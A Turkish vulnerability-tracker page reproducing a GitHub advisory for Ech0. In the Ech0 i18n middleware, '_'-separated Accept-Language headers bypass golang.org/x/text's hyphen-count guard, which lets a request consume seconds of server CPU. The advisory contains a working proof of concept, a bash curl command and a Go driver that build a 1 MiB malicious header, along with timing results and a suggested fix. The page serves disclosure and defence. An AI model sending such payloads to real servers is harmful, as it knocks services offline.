GHSA-mqxv-9rm6-w8qc: Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware
Noroxi değerlendirmesi
Öncelik: İzleyin (aksiyon skoru 0/100)
- İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
- İnternetten erişebilen herkes tetikleyebilir. Hesap ya da parola gerekmez. Kullanıcının bir şey yapması gerekmez. Özel bir koşul gerekmez; tekrarlanabilir.
- Kayda göre henüz düzeltme sürümü yok.
Şimdilik düşük öncelik. Düzeltme yayımlandığında güncelleyin; üreticinin duyurusunu izleyin.
Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz
Birincil kaynaklar: OSV
### Summary Ech0's i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth. ### Affected versions `github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on: - the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below) - `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged) ### Privilege required Unauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint. ### Vulnerable code [`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213: ```go func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language")) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` `setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`: ```go func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) { if ctx == nil { return } normalized := ResolveLocale(locale) localizer := NewLocalizer(normalized, acceptLanguage) ctx.Set(ContextLocaleKey, normalized) ctx.Set(ContextLocalizerKey, localizer) ctx.Header("Content-Language", normalized) } ``` `NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request. `ctx.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. The additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, ","))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice). CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. ### How `Accept-Language` reaches `ParseAcceptLanguage` The middleware sequence on any HTTP request: 1. The request enters `i18n.Middleware()`. 2. `ctx.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `setLocaleContext` is called with that value. 4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n's `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered. No size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210. ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container: ```bash docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest sleep 5 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18300/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2) A Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:18300/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('_' x 1MiB)", buildPayload("_", 1<<20)) send("attack repeat 2", buildPayload("_", 1<<20)) send("attack repeat 3", buildPayload("_", 1<<20)) } ``` Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2): ``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through lin-snow/Ech0 v4.8.2 i18n middleware at internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer). Target: http://127.0.0.1:18300/ payload=1048576 B warm-up header=0 B '_'=0 '-'=0 status=200 t=7.692458ms --- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=2.666625ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=1.981333ms guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=200 t=21.445083ms attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=200 t=1.489513083s attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.501842542s attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.571093458s ``` Setting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, ","))` directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s. Interpretation: | Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 2 - 8 ms | | 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms | | 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s | | 1 MiB `_` separators with X-Locale: en | 1 MiB | ~7.9 s | The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant. ### Impact - One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards. - Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed. ### Suggested fix Apply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling: ```go // internal/i18n/i18n.go const maxAcceptLanguageSeparators = 32 // real browsers send < 10 func sanitizeAcceptLanguage(v string) string { if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators { return "" } return v } func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language"))) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` The same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`). A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible. The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input. ### Credit Reported by tonghuaroot. ### Fix PR https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1
- Yayın
- 14 Tem 2026
- Güncelleme
- 21 Tem 2026
- EPSS
- —
- CWE
- CWE-770
Rapor araçları
Aksiyon skoru
0
Şimdilik düşük öncelik.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Listede değil
- EPSS
- 0 / 30 · —
Bu kayıt değişirse haber alın
- KEV'de değil: sahada sömürü kaydı yok
- Herkese açık istismar kodu kaydı yok
- Düzeltme sürümü henüz yok
Bunlardan biri değişirse günlük e-posta özetinde haber veririz.
Sürümünüz etkileniyor mu? Kontrol edinNoroxi analizi
Sizin ortamınızda ne anlama geliyor?
Yukarıdaki değerlendirme kaydın verisinden otomatik üretilir; ortamınızı bilmez. Bu açığın sizde gerçekten sömürülebilir olup olmadığını ve hangi önlemin yeteceğini ekibimiz sizin sistemlerinizde doğrular.
Bu ürünü kullanıyoruz, yardım isteyinEtkilenen sistemler
Sürümünüz etkileniyor mu?
Ürünü seçip kullandığınız sürümü yazın. Bu kaydın sürüm aralıklarıyla tarayıcınızda karşılaştırılır; sürüm hiçbir yere gönderilmez.
| Üretici | Ürün | CPE |
|---|---|---|
| Go | github.com/lin-snow/ech0 | pkg:golang/github.com/lin-snow/ech0 |
Paket düzeyi etkilenme
OSV ve GitHub Advisory verisi: ekosistem, paket ve aralık. SBOM eşleşmesi bu tabloyu kullanır.
| Ekosistem | Paket | Etkilenen aralık | Düzeltme |
|---|---|---|---|
| Go | github.com/lin-snow/ech0 | 0 itibarıyla | — |
Aynı üründe
Go: tüm kayıtlarAynı birincil ürünün en yüksek skorlu diğer kayıtları.
- GO-2026-5981Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware in…0İzleyin
Düzeltme
Hangi sürüme geçmeli
Üretici, paket deposu ve Microsoft kayıtlarından derlenen düzeltme sürümleri. Yükseltmeden önce üreticinin notunu doğrulayın.
Bu kayıt için kayıtlı bir düzeltme sürümü yok. Üretici bildirimleri için referanslara bakın.
İstismar durumu
Bilinen kamuya açık istismar yok
Şu an kamuya açık bir istismar görülmedi. Bu, güvende olduğunuz anlamına gelmez; yalnızca eşiğin biraz daha yüksek olduğunu gösterir.
Araştırma bağlamı
Pentester ve araştırmacı için: saldırı profili, puan anlaşmazlığı, zaman çizelgesi, yama commit’leri, kredi, varyant ve zincir adayları, bug bounty kapsamı. Hepsi mevcut veriden türetilir; istismar kodu içermez.
Zaman çizelgesi
Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.
Yayın dışında tarihli olay yok.
Bu kayıtta yok: EPSS geçmişi · yama commit'i ya da PR bağlantısı · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.
Teknik detay
Saldırı koşulları
- İnternetten erişebilen herkes tetikleyebilir.
- Hesap ya da parola gerekmez.
- Kullanıcının bir şey yapması gerekmez.
- Özel bir koşul gerekmez; tekrarlanabilir.
Başarılı olursa
- Gizlilik
- Bütünlük
- Erişilebilirlik
- Saldırı vektörü
- Ağ
- Karmaşıklık
- Düşük
- Gereken yetki
- Yok
- Kullanıcı etkileşimi
- Gerekmez
Zayıflık sınıfı (CWE)
CWE-770 · Allocation of Resources Without Limits or ThrottlingCVSS vektörü
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
osv
Saldırı bağlamı
Bu zafiyet sınıfının (CWE) MITRE CAPEC saldırı desenleri ve ATT&CK teknikleri. Tespit kuralı ve tehdit avı için başlangıç noktası.
Saldırı desenleri (CAPEC)
- FloodingCAPEC-125olasılık: High · Medium
- Excessive AllocationCAPEC-130olasılık: Medium · Medium
- XML Ping of the DeathCAPEC-147olasılık: Low · Medium
- Exponential Data ExpansionCAPEC-197olasılık: High · Medium
- Serialized Data Parameter BlowupCAPEC-229olasılık: High · High
- Serialized Data with Nested PayloadsCAPEC-230olasılık: Medium · High
- Oversized Serialized Data PayloadsCAPEC-231olasılık: Medium · High
- HTTP DoSCAPEC-469Low
ATT&CK teknikleri
- Network Denial of Service:Direct Network FloodT1498.001
- Network Denial of Service:Reflection AmplificationT1498.002
- Endpoint Denial of ServiceT1499
- Endpoint Denial of Service: OS Exhaustion FloodT1499.001
- Endpoint Denial of Service:Service Exhaustion FloodT1499.002
- Endpoint Denial of Service:Application Exhaustion FloodT1499.003
Değişiklik günlüğü (1)
- CVSS8 → —
Takip ettiğiniz kayıtlarda bu değişiklikler bildirim olarak da gelir. →
Referanslar
Tüm referansları göster (1 daha)Daha az göster
Üretici bildirimleri ve resmî kayıtlar. İstismar/PoC bağlantıları bilinçli olarak dışarıda bırakıldı.